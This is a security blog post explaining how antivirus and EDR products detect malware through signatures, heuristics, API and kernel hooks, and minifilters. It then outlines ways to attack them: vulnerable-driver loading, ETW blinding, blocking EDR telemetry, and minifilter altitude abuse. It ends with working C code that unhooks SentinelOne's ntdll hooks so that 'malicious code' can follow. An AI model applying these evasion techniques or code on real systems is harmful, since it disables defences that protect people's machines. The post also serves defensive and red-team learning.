Understanding and Attacking EDRs

In this article you can learn how malware detection is working in a traditional approach used by Antivirus Software. Next I will guide you into the functionality of modern EDR software solutions and perform a deep dive into the way how EDR hooks are working before we start to find ways how to attack an EDR solution based on a threat model.

Malware Detection 101

Signature-Based Detections

What does this mean: Utilizes known patterns or ‘signatures’ of malware to identify and block malicious software.

How to do it: Compares files against a database of known malware signatures

Signatures can be gathered or evaluated using VirusTotal, and normally consist of different hash values, while MD5 is the most common format:

Strengths

  • High Accuracy for Known Malware: Very effective at detecting and stopping known threats.
  • Efficiency: Fast and resource-light, due to the straightforward nature of matching signatures.

Weaknesses

  • Limited to Known Threats: Cannot detect new, unknown malware or variants of existing malware without the specific signature.
  • Regular Updates Required: Needs constant updates to the signature database to remain effective

Heuristic-Based Detections

What does this mean: Employs algorithms to identify suspicious behavior or characteristics indicative of malware, rather than relying on known signatures.

How to do it: Analyzes behaviors and properties of files to identify potentially malicious activities or anomalies.

MSFT Defender for instance is capable to find malware also based on heuristics by rolling up the processes and checking the behavior pattern:

Strengths

  • Detects Unknown Malware: Capable of identifying new or modified malware that doesn’t match any known signature.
  • Behavior Analysis: Looks at how the software operates, potentially catching malware designed to evade traditional signature-based detection.

Weaknesses

  • Higher False Positives: Cannot detect new, unknown malware or variants of existing malware without the specific signature.
  • Resource Intensive: Requires more processing power and memory, as it analyzes behaviors in real-time or through sandboxing.

EDR

An EDR solution is built out of the following components:

  1. EDR Agent: Is an application that controls and consumes data from sensor components, performs some basic analysis to determine whether a given activity or series of events aligns with attacker behavior, and forwards the telemetry to the main server, which further analysis events from all agents deployed in an environment.
  2. Telemetry: Every sensor in an EDR servers the common purpose for collecting telemetry. Roughly defined, telemetry is the raw data generated by a sensor component or the host itself, and defenders can analyze it to determine whether malicious activity has occurred. Every action on the system, from opening a file to creating a new process, generates some form of telemetry. This information becomes a data point in the EDR product internal alert logic.
  3. Sensors: If telemetry represents the blips on the radar, then sensors are the transmitter, duplexer, and receiver or in other words the components responsible for detecting objects and turning them into blips. Whereas radar systems constantly ping objects to track their movements, EDR sensors work a bit more passively by intercepting data lowing through an internal process, extracting information, and forwarding it to the central agent.
  4. Detections: Simply put, detections are the logic that correlates discrete pieces of telemetry with some behavior performed on the system. A detection can check for a singular condition (for example, the presence of a file that matches the hash of known malware) or complex sequence of events coming from many different sources like child process of chrome.exe was spawned and then started communication over TCP port 88 with the domain controller.

With this in mind we can now take a look on a more generic architecture picture showcasing an EDR solution based on a Windows operating system:

How do EDRs working under the Hood?

EDR solutions typically operate through a combination of techniques. Process hooking and monitoring allow them to scrutinize system calls and operations, providing insights into the behavior of applications and services on the endpoint. Simultaneously, these solutions analyze network traffic to and from the endpoint, identifying potentially malicious communications such as command and control or data exfiltration attempts. To detect novel threats, many EDRs leverage machine learning models that learn from historical data and identify patterns indicative of malicious behavior.

As a list it can be summarized into:

Process Hooking and Monitoring:

Process hooking techniques to monitor system calls and operations, providing visibility into the actions of applications and services on the endpoint.

Network Traffic Analysis:

Analyze network traffic to and from endpoints, identifying suspicious communications that may indicate command and control (C2) activity or data exfiltration attempts.

“Machine Learning and AI”:

EDRs claims to leverage “machine learning models” to detect novel threats by learning from historical data and identifying patterns that suggest malicious behavior. A typical representation of this is for example Charlotte and NGAV - Next-Generation Antivirus from CrowdStrike.

What makes EDR better than traditional Antivirus ?

Behavioral Analysis:

EDR uses behavioral analysis to detect anomalies and suspicious activities, identifying threats without prior knowledge of their signatures.

Real-time Response and Remediation:

EDR provides real-time monitoring and response tools, allowing for immediate action (e.g., isolating an endpoint) to mitigate threats.

Threat Hunting and Forensics:

EDR tools include features for threat hunting and forensic analysis, enabling detailed investigation of how a breach occurred and the scope of the impact.

Continuous Monitoring and Advanced Analytics:

EDR ensures continuous monitoring of all endpoints, utilizing advanced analytics and machine learning to detect sophisticated threats.

Integration and Automation:

EDR can integrate with other security tools (SIEM, SOAR, etc.), enhancing overall security posture through automation and coordinated defense strategies.

Adaptability to Evolving Threats:

EDR platforms are designed to evolve, incorporating new intelligence and adapting to changing threat landscapes

But the core feature is still missing! You might guessed it already HOOKS which will be discussed in the next section.

Process Hooking and Monitoring

EDRs are conducting various types of techniques to achieve hooking into the process and observe if the process itself is malicious or benign. The most common types are discussed below:

API Hooking:

  • Inline Hooking: Insert a jump instruction into the beginning of a target function in memory. When the function is called, execution is redirected to the EDR’s monitoring function before returning control to the original function. This allows EDRs to inspect or modify the call’s parameters and return value.
  • Import Address Table (IAT) Hooking: Targets the IAT of a process, which is used to resolve addresses of dynamically linked functions from DLLs. By modifying the IAT entries, EDRs can intercept and examine calls to critical system APIs.

Kernel Hooking:

  • System Service Descriptor Table (SSDT) Hooking: Involves modifying the SSDT, which the Windows kernel uses to handle system call requests. By redirecting system calls to their monitoring functions, EDRs can observe and potentially block malicious activities.
  • Object Manager Hooks: Utilize the Windows Object Manager to monitor access to system objects like files, registry keys, and processes, providing a mechanism for behavioral analysis beyond what user-space API hooking can offer.

Hardware Breakpoints:

Utilize the CPU’s debug registers to monitor access to specific memory addresses. This technique can be used to detect when specific code sequences are executed or when particular data is accessed, with minimal performance impact.

How to tackle this: Take a look into the Anti-Debugging Post I made earlier to get some ideas, how to let an EDR jump into various other section that are benign and used to lower entropy. To read this article click here

To Understand Hooking better we now need to take a look on a few more topics first. A great way to learn about the Windows System Architecture can be found in Pavel’s Windows Kernel Programming Book, nevertheless this pictures summarizes the architecture very well:

Windows Process Flow

In Windows operating systems, a process flow refers to the sequence of steps that an executable takes from its initiation to termination. This involves several stages, as shown in the next list.

  • Process Creation: Initiated by system calls such as CreateProcess, NtCreateProcess, or by higher-level mechanisms like shell commands. The Windows Loader (ntdll.dll) is then involved in loading the executable into memory, resolving DLL dependencies, and setting up the initial thread.
  • Execution: The process executes its code, which can involve a variety of operations such as file I/O, network communication, memory management, and interaction with other processes or system components. This execution is managed by the Windows Scheduler, handling context switching and resource allocation.
  • Termination: A process can terminate normally (e.g., completing its task or through a call to ExitProcess) or abnormally (e.g., killed by another process or due to an unhandled exception

WinAPI Call

The example below contains a call to a WinAPI function, like CreateProcess, directly in its code.

When the program is compiled, the linker resolves this function call to the Windows DLL that contains CreateProcess (e.g., kernel32.dll), and the call is made explicitly when the program runs.

EDR systems can easily identify such calls and hook into these statically linked calls to monitor for malicious activity.

How are EDR Hooks working ?

Since we now learned about the Windows Architecture, the Windows Process flow and how WinAPI calls are looking like we need to next learn about user- and kernel land to fully get an understanding about EDR hooks.

Userland vs Kernelland

Userland and kernelland represent distinct operating system environments. Userland houses applications and processes with limited system access, where most EDR functionalities reside, such as process monitoring, network analysis, and behavioral analysis. Kernel land, on the other hand, is the core of the operating system with unrestricted access, where certain EDR components might operate for deeper system visibility, enhanced performance, and protection against advanced threats. While Userland EDR offers a good balance, kernel-level EDR provides deeper protection but requires careful development. Many modern EDR solutions combine both approaches for comprehensive security.

As a picture it looks like this. Please also take a look at ntdll.dllas a core component to traverse from one environment to another:

EDR Hooking visualized

As already mentioned above, ntdll.dll is the core component responsible for the transition between Userland and Kernelland. The picture below describes how this happens:

As a contrast to the high level picture above, the following low level picture can help to get a deeper understanding of a hook:

What you see here is a syscall stub. A syscall stub is a piece of code that serves as a template or a bridge for making system calls (syscalls) from user space to kernel space. When a user-mode application calls a Windows API function that needs to perform an operation requiring kernel privileges (like accessing the file system or managing processes), it doesn’t call the kernel directly. Instead, it goes through a syscall stub.

Purpose and Functionality

  • Abstraction: Syscall stubs abstract the details of switching from user mode to kernel mode, making it easier for developers to utilize system services without dealing with the complexities of mode switching.
  • Transition Mechanism: They provide the necessary instructions to safely transition the execution context from user mode to kernel mode. This involves preparing the CPU registers with the appropriate syscall number and arguments, and then executing a special instruction (like syscall on x64 architectures) that switches the processor to kernel mode to execute the kernel-side code.
  • Standardization: Syscall stubs standardize the way syscalls are made across different versions of Windows, even though the underlying syscall numbers and implementations may change

The stub itself looks like this:

  • mov eax, 23: This is a syscall instruction in which we are setting the EAX register with a HEXADECIMAL value “23” which is for NtOpenProcess WinAPI Call
  • SYSCALL: This instruction will redirect the flow from userland to kernel lan

Attacking EDR

There are various ways to attack EDR Solutions. This chapter will be filled while I’m learning.

Using a vulnerable driver to bypass EDR or BYOVD technique (Bring Your Own Vulnerable Driver)

A good way to bypass EDR is to enter the Kernelland by using a vulnerable driver. This helps to get the same permissions on the Kernelland as the EDR has and balance the fight. There are still anti-tempering measures in the way that prevent a direct attack but opens a large window to silence the EDR service. A few tools that are doing that are:

  • DriverJack: a tool that is designed to load a vulnerable driver by abusing NTFS techniques and hijacking an existing service in order to spoof the image path presented in the Driver Load event.
  • EDRSandBlast: Tool that weaponize a vulnerable signed driver in order to bypass EDR detections, mostly by blinding ETW
  • EDRPrison: This tool leverages a legitimate WFP (Windows Filtering Platform) callout Driver to silence EDR systems

Since the tools from the list above are “finished” tools that can be adopted easily it still misses the option to learn and try out other things. One way to fill that gap is HEVD - HackSys Extreme Vulnerable Driver which is a dedicated Windows Kernel Driver that is intentionally vulnerable. It was developed to improve the skills on kernel-level exploitation.

More infos can be found either in this presentation or White Paper.

Since this topic is crucial for Red Team Engagements it’s also worth to leverage a Living Off The Land technique on that to maintain a good OpSec and preserver sneakiness. A great source for that is Living Off The Land Drivers that is a curated list of Windows drivers that can be used to bypass security controls and proceed with attacking the system.

These links related to PatchGuard might coming handy for you:

Patch Guard / Kernel Patch Protection

To make fully work of this attack it’S also worth to take a deeper look into the way how PatchGuard is working. A great source for Demystifying PatchGuard is this resource created by zer0condition. Kernel Patch Protection (KPP) or informally known as PatchGuard prevents in MSFT Windows patching the kernel. It was first introduced in 2005 with Windows XP and Windows Server 2003 SP1.

The kernel connects the application software to the hardware of a computer. “Patching the kernel” as a term therefore refers mostly to unsupported/unwanted modification of the central component or kernel of Windows itself. For x86 editions of Windows it’s possible to patch the kernel, however with x64 editions of Windows, MSFT decided to implement additional protection and technical barriers to kernel patching.

Kernel patching in the end doesn’t necessary mean it’s malicious, in 32bit (x86) editions several antivirus software vendors are also using kernel patching to implement antivirus and other security services but were forced for larger redesign of their software to be compatible with x64 systems. This can also opens the door for attacking and blurring the boundaries between good and evil.

In x64 editions of Windows, Microsoft began to enforce restrictions on what structures drivers can and cannot modify. Kernel Patch Protection is the technology that enforces these restrictions. It works by periodically checking to make sure that protected system structures in the kernel have not been modified. If a modification is detected, then Windows will initiate a bug check and shut down the system, with a blue screen and/or reboot. The corresponding bug check number is 0x109, the bug check code is CRITICAL_STRUCTURE_CORRUPTION. Prohibited modifications include:

  • Modifying system service descriptor tables
  • Modifying the interrupt descriptor table
  • Modifying the global descriptor table
  • Using kernel stacks not allocated by the kernel
  • Modifying or patching code contained within the kernel itself, or the HAL or NDIS kernel libraries

Kernel Patch Protection only defends against device drivers modifying the kernel. It does not offer any protection against one device driver patching another.

Ultimately, since device drivers have the same privilege level as the kernel itself, it is impossible to completely prevent drivers from bypassing Kernel Patch Protection and then patching the kernel. KPP does however present a significant obstacle to successful kernel patching. With highly obfuscated code and misleading symbol names, KPP employs security through obscurity to hinder attempts to bypass it. Periodic updates to KPP also make it a “moving target”, as bypass techniques that may work for a while are likely to break with the next update. Since its creation in 2005, Microsoft has so far released two major updates to KPP, each designed to break known bypass techniques in previous versions.

(Partially) Blinding EDR by attacking ETW logs

EDRs require ETW (or ULS on MacOS) to enrich it’s telemetry. Since this can be manipulated in the User Space, this can help to at least partially blind the deployed EDR solution.

Blinding EDR reporting/logging by blocking using a FireWall/Proxy

One way is to use the OS internal firewalls or Windows Filtering Platform (WFP) to block EDR agents from reporting security events to the EDR Cloud.

This can be also done with a Tool like EDRSilencer, that very likely create an alert. XDR tools like SentinelOne are managing the OS firewall policies and also making sure that f.e. the SentinelOne console isn’t getting blocked. Therefore a second way of attacking is installing a proxy and filter the traffic.

  1. Using Windows Proxy to add a local proxy like Squid or NGINX to filter the traffic and drop packages towards the EDR cloud or logging resources
  2. For Cloud Resources a Ingress- and/or Egress-Proxy can also be used to drop requests to the EDR cloud or filtering dedicated requests

Abusing minifilter altitude to blind EDR

By gaining local administrative privileges on a host protected by an Endpoint Detection and Response (EDR) solution, an attacker can potentially bypass detection by disabling the kernel-level hooks used by the EDR. This can be achieved by exploiting a pre-installed minifilter driver, such as Sysmon. While requiring a system reboot, this method is generally simpler than developing a custom, vulnerable driver or attempting to exploit unsigned drivers, which might not always be feasible. (awesome source behind this).

Minifilter Architecture

Minifilters represent a significant departure from traditional filter architectures. Unlike legacy systems where filesystem drivers directly handled I/O filtering, minifilters operate through a centralized filter manager. This intermediary handles all I/O requests before distributing them to relevant minifilters. This indirect connection allows minifilters to focus on specific operations, enhancing efficiency and flexibility. Minifilters engage with the system through pre- and post-operation callbacks. When an operation is initiated, the filter manager sequentially invokes the pre-operation callback of each loaded minifilter. Upon completion, the request proceeds to the filesystem driver. After the operation is finalized, post-operation callbacks are executed in reverse order.

To ensure proper execution order, minifilters are assigned an altitude. This numerical value determines their position within the minifilter stack and the sequence in which they are loaded. Microsoft manages altitude assignments and organizes them into load-order groups.

Minifilters are substantially easier to develop than their legacy counterparts, and EDRs can manage them more easily by dynamically loading and unloading them on a running system. The ability to access functionality exposed by the filter manager makes for less complex drivers, allowing for easier maintenance. Microsoft has made tremendous efforts to move developers away from the legacy filter model and over to the minifilter model. It has even included an optional registry value that allows administrators to block legacy filter drivers from being loaded on the system altogether.

Altitude of popular EDR:

Altitude Vendor EDR
389220 Sophos sophosed.sys
389040 SentinelOne sentinelmonitor.sys
328010 Microsoft wdfilter.sys
321410 CrowdStrike csagent.sys
388360 FireEye/Trellix fekern.sys
386720 Bit9/Carbon Black/VMWare carbonblackk.sys

Source: Evading EDR: The Definitive Guide to Defeating Endpoint Detection Systems

Some more altitudes and good descriptions can be found on learn microsoft in the article Load order groups and altitudes for minifilter drivers

For going further here we need to learn how to develop with mini filters. A great entry is the mini filter driver framework.

A good approach to abuse a minifilter can be found in this article from tier zero security in order to blind EDR

Unhooking EDRs

A good way to bypass EDRs is to unhook the EDRs hook. A good way to do this can be found for example in Mr-Uni1K0d3r’s RedTeamCCode Repository on GitHub (Source of the code below). Example to unhook SentinelOne:

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

VOID PatchHook(CHAR* address, unsigned char id, char high);

VOID CleanUp() {
    HANDLE hDll = LoadLibrary("ntdll.dll");

    FARPROC NtProtectVirtualMemory = GetProcAddress(hDll, "NtProtectVirtualMemory");

    PatchHook(NtProtectVirtualMemory, 0x50, 0x00);  // unhooking first since we are going to need it to unhook APIs

    CloseHandle(hDll);
}

VOID PatchHook(CHAR* address, unsigned char id, char high) {
    DWORD dwSize = 11;
    CHAR* patch_address = address;
    //\x4c\x8b\xd1\xb8\xXX\xHH\x00\x00\x0f\x05\xc3
    CHAR patch[dwSize];
    sprintf(patch, "\x4c\x8b\xd1\xb8%c%c%c%c\x0f\x05\xc3", id, high, high ^ high, high ^ high);

    DWORD dwOld;
    VirtualProtect(patch_address, dwSize, PAGE_EXECUTE_READWRITE, &dwOld);
    memcpy(patch_address, patch, dwSize);
}

int main (int argc, char **argv) {
    CleanUp();

    // No More Hook From SentinelOne
    // Malicious Code

    return 0;
}
Written on August 21, 2024


◀ Back to attack related posts